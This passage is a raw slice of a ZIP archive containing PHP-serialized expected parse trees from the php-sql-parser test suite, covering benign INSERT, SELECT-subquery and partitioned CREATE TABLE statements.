2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:11:"DATECREATED";}}}i:23;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:16:"PUBLICSTATISTICS";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:16:"PUBLICSTATISTICS";}}}i:24;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:12:"PUBLICGRAPHS";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"PUBLICGRAPHS";}}}i:25;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"LISTPUBLIC";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"LISTPUBLIC";}}}i:26;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"HTMLEMAIL";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"HTMLEMAIL";}}}i:27;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:23:"TOKENANSWERSPERSISTENCE";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:23:"TOKENANSWERSPERSISTENCE";}}}i:28;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"ASSESSMENTS";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:11:"ASSESSMENTS";}}}i:29;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"USECAPTCHA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"USECAPTCHA";}}}i:30;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:12:"BOUNCE_EMAIL";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"BOUNCE_EMAIL";}}}i:31;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:15:"EMAILRESPONSETO";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:15:"EMAILRESPONSETO";}}}i:32;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:19:"EMAILNOTIFICATIONTO";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:19:"EMAILNOTIFICATIONTO";}}}i:33;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"TOKENLENGTH";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:11:"TOKENLENGTH";}}}i:34;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:14:"SHOWXQUESTIONS";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:14:"SHOWXQUESTIONS";}}}i:35;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:13:"SHOWGROUPINFO";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:13:"SHOWGROUPINFO";}}}i:36;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:12:"SHOWNOANSWER";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"SHOWNOANSWER";}}}i:37;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:12:"SHOWQNUMCODE";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"SHOWQNUMCODE";}}}i:38;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:11:"SHOWWELCOME";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:11:"SHOWWELCOME";}}}i:39;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:12:"SHOWPROGRESS";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"SHOWPROGRESS";}}}i:40;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"ALLOWJUMPS";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"ALLOWJUMPS";}}}i:41;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:15:"NAVIGATIONDELAY";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:15:"NAVIGATIONDELAY";}}}i:42;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:10:"NOKEYBOARD";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:10:"NOKEYBOARD";}}}i:43;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:24:"ALLOWEDITAFTERCOMPLETION";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:24:"ALLOWEDITAFTERCOMPLETION";}}}}}}s:6:"VALUES";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:319:"( 32225, 1, 'André', 'N', null, null, 'hello@zks.uni-leipzig.de', 'N', '', 'G', 'N', 'default', 'de-informal', 'N', 'N', 'N', 'Y', 'N', 'N', 'N', 'N', 'N', a_function('2012-02-16','YYYY-MM-DD'), 'N', 'N', 'Y', 'Y', 'N', 'N', 'D', 'hello@zks.uni-leipzig.de', '', '', 15, 'Y', 'B', 'Y', 'X', 'Y', 'Y', 'N', 0, 'N', 'N' )";s:4:"data";a:44:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:5:"32225";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:8:"'André'";s:8:"sub_tree";b:0;}i:3;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}i:4;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"null";s:8:"sub_tree";b:0;}i:5;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"null";s:8:"sub_tree";b:0;}i:6;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:26:"'hello@zks.uni-leipzig.de'";s:8:"sub_tree";b:0;}i:7;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}i:8;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"''";s:8:"sub_tree";b:0;}i:9;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'G'";s:8:"sub_tree";b:0;}i:10;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}i:11;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:9:"'default'";s:8:"sub_tree";b:0;}i:12;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:13:"'de-informal'";s:8:"sub_tree";b:0;}i:13;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}i:14;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}i:15;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}i:16;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'Y'";s:8:"sub_tree";b:0;}i:17;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}i:18;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}i:19;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}i:20;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}i:21;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}i:22;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:10:"a_function";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'2012-02-16'";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:12:"'YYYY-MM-DD'";s:8:"sub_tree";b:0;}}}i:23;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}i:24;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}i:25;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'Y'";s:8:"sub_tree";b:0;}i:26;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'Y'";s:8:"sub_tree";b:0;}i:27;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}i:28;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}i:29;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'D'";s:8:"sub_tree";b:0;}i:30;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:26:"'hello@zks.uni-leipzig.de'";s:8:"sub_tree";b:0;}i:31;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"''";s:8:"sub_tree";b:0;}i:32;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"''";s:8:"sub_tree";b:0;}i:33;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:2:"15";s:8:"sub_tree";b:0;}i:34;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'Y'";s:8:"sub_tree";b:0;}i:35;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'B'";s:8:"sub_tree";b:0;}i:36;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'Y'";s:8:"sub_tree";b:0;}i:37;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'X'";s:8:"sub_tree";b:0;}i:38;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'Y'";s:8:"sub_tree";b:0;}i:39;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'Y'";s:8:"sub_tree";b:0;}i:40;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}i:41;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"0";s:8:"sub_tree";b:0;}i:42;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}i:43;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:3:"'N'";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}}PK     \ez  z  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue120.serializednu [        a:1:{s:7:"BRACKET";a:1:{i:0;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:54:"(
        SELECT CNAME
        FROM COCKTAIL
        )";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:5:"query";s:9:"base_expr";s:34:"SELECT CNAME
        FROM COCKTAIL";s:8:"sub_tree";a:2:{s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:5:"CNAME";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"CNAME";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:17;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:8:"COCKTAIL";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"COCKTAIL";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:8:"COCKTAIL";s:8:"sub_tree";b:0;s:8:"position";i:36;}}}s:8:"position";i:10;}}s:8:"position";i:0;}}}PK     \a    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue56a.serializednu [        a:2:{s:6:"INSERT";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"into";s:8:"position";i:21;}i:1;a:6:{s:9:"expr_type";s:5:"table";s:5:"table";s:9:"TableName";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"TableName";}}s:5:"alias";b:0;s:9:"base_expr";s:9:"TableName";s:8:"position";i:26;}i:2;a:4:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:11:"(Col1,col2)";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"Col1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"Col1";}}s:8:"position";i:37;}i:1;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"col2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"col2";}}s:8:"position";i:42;}}s:8:"position";i:36;}i:3;a:2:{s:9:"expr_type";s:7:"comment";s:5:"value";s:13:"/* +APPEND */";}}s:6:"VALUES";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:9:"(1,'pol')";s:4:"data";a:2:{i:0;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:8:"position";i:55;}i:1;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:5:"'pol'";s:8:"sub_tree";b:0;s:8:"position";i:57;}}s:5:"delim";b:0;s:8:"position";i:54;}}}PK     \S8`  `  G  vendor/greenlion/php-sql-parser/tests/expected/parser/alias3.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:10:"expression";s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:4:"colA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"colA";}}s:9:"base_expr";s:4:"colA";}s:9:"base_expr";s:35:"(select colA AS a from test t) colA";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"subquery";s:9:"base_expr";s:30:"(select colA AS a from test t)";s:8:"sub_tree";a:2:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"a";s:9:"base_expr";s:4:"AS a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}}s:9:"base_expr";s:4:"colA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"colA";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:1:"t";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"t";}}s:9:"base_expr";s:1:"t";}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:6:"test t";s:8:"sub_tree";b:0;}}}}}s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:7:"example";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"example";}}s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"b";s:9:"base_expr";s:4:"as b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:12:"example as b";s:8:"sub_tree";b:0;}}}PK     \7|E  E  K  vendor/greenlion/php-sql-parser/tests/expected/parser/subselect1.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:5:{s:9:"expr_type";s:10:"expression";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"b";s:9:"base_expr";s:4:"as b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}}s:9:"base_expr";s:30:"(select colA FRom TableA) as b";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"subquery";s:9:"base_expr";s:25:"(select colA FRom TableA)";s:8:"sub_tree";a:2:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:4:"colA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"colA";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:6:"TableA";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"TableA";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:6:"TableA";s:8:"sub_tree";b:0;}}}}}s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";a:4:{s:2:"as";b:0;s:4:"name";s:1:"t";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"t";}}s:9:"base_expr";s:1:"t";}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:6:"test t";s:8:"sub_tree";b:0;}}}PK     \$    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33n.serializednu [        a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:6:{s:9:"base_expr";s:2:"ti";s:4:"name";s:2:"ti";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"ti";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:44:" (id INT, amount DECIMAL(7,2), tr_date DATE)";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:6:"id INT";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:3:"INT";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:3:"INT";s:8:"unsigned";b:0;s:8:"zerofill";b:0;s:6:"length";b:0;}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:1;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:19:"amount DECIMAL(7,2)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"amount";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"amount";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:12:"DECIMAL(7,2)";s:8:"sub_tree";a:2:{i:0;a:6:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"DECIMAL";s:8:"unsigned";b:0;s:8:"zerofill";b:0;s:6:"length";s:1:"7";s:8:"decimals";s:1:"2";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:5:"(7,2)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"7";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";s:8:"sub_tree";b:0;}}}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:2;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:12:"tr_date DATE";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"tr_date";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"tr_date";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:4:"DATE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:4:"DATE";}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}}}s:7:"options";a:1:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:13:"ENGINE=INNODB";s:5:"delim";s:1:" ";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"ENGINE";}i:1;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:6:"INNODB";}}}}s:17:"partition-options";a:1:{i:0;a:5:{s:9:"expr_type";s:9:"partition";s:9:"base_expr";s:70:"PARTITION BY LINEAR KEY ALGORITHM=2 (tr_date)
            PARTITIONS 6";s:8:"sub_tree";a:5:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"PARTITION";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"BY";}i:2;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"LINEAR";}i:3;a:5:{s:9:"expr_type";s:13:"partition-key";s:9:"base_expr";s:25:"KEY ALGORITHM=2 (tr_date)";s:6:"linear";b:1;s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"KEY";}i:1;a:3:{s:9:"expr_type";s:23:"partition-key-algorithm";s:9:"base_expr";s:11:"ALGORITHM=2";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"ALGORITHM";}i:1;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";}}}i:2;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:9:"(tr_date)";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:7:"tr_date";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:7:"tr_date";}}}}}}s:9:"algorithm";s:1:"2";}i:4;a:3:{s:9:"expr_type";s:15:"partition-count";s:9:"base_expr";s:12:"PARTITIONS 6";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:10:"PARTITIONS";}i:1;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"6";}}}}s:2:"by";s:10:"LINEAR KEY";s:5:"count";s:1:"6";}}}}PK     \R:    I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33p.serializednu [        a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:6:{s:9:"base_expr";s:2:"ti";s:4:"name";s:2:"ti";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"ti";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:46:" (id INT, amount DECIMAL(7,2), purchased DATE)";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:6:"id INT";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:3:"INT";s:8:"sub_tree";a:1:{i:0;a:5:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:3:"INT";s:8:"unsigned";b:0;s:8:"zerofill";b:0;s:6:"length";b:0;}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:1;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:19:"amount DECIMAL(7,2)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"amount";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"amount";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:12:"DECIMAL(7,2)";s:8:"sub_tree";a:2:{i:0;a:6:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"DECIMAL";s:8:"unsigned";b:0;s:8:"zerofill";b:0;s:6:"length";s:1:"7";s:8:"decimals";s:1:"2";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:5:"(7,2)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"7";s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";s:8:"sub_tree";b:0;}}}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:2;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:14:"purchased DATE";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"purchased";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"purchased";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:4:"DATE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:4:"DATE";}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}}}s:7:"options";a:1:{i:0;a:4:{s:9:"expr_type";s:10:"expression";s:9:"base_expr";s:13:"ENGINE=INNODB";s:5:"delim";s:1:" ";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"ENGINE";}i:1;a:2:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";}i:2;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:6:"INNODB";}}}}s:17:"partition-options";a:1:{i:0;a:4:{s:9:"expr_type";s:9:"partition";s:9:"base_expr";s:35:"PARTITION BY RANGE(YEAR(purchased))";s:8:"sub_tree";a:3:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:9:"PARTITION";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"BY";}i:2;a:3:{s:9:"expr_type";s:15:"partition-range";s:9:"base_expr";s:22:"RANGE(YEAR(purchased))";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"RANGE";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:17:"(YEAR(purchased))";s:8:"sub_tree";a:1:{i:0;a:3:{s:9:"expr_type";s:8:"function";s:9:"base_expr";s:4:"YEAR";s:8:"sub_tree";a:1:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:9:"purchased";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"purchased";}}s:8:"sub_tree";b:0;}}}}}}}}s:2:"by";s:5:"RANGE";}}}}PK     \'jG  G  F  vendor/greenlion/php-sql-p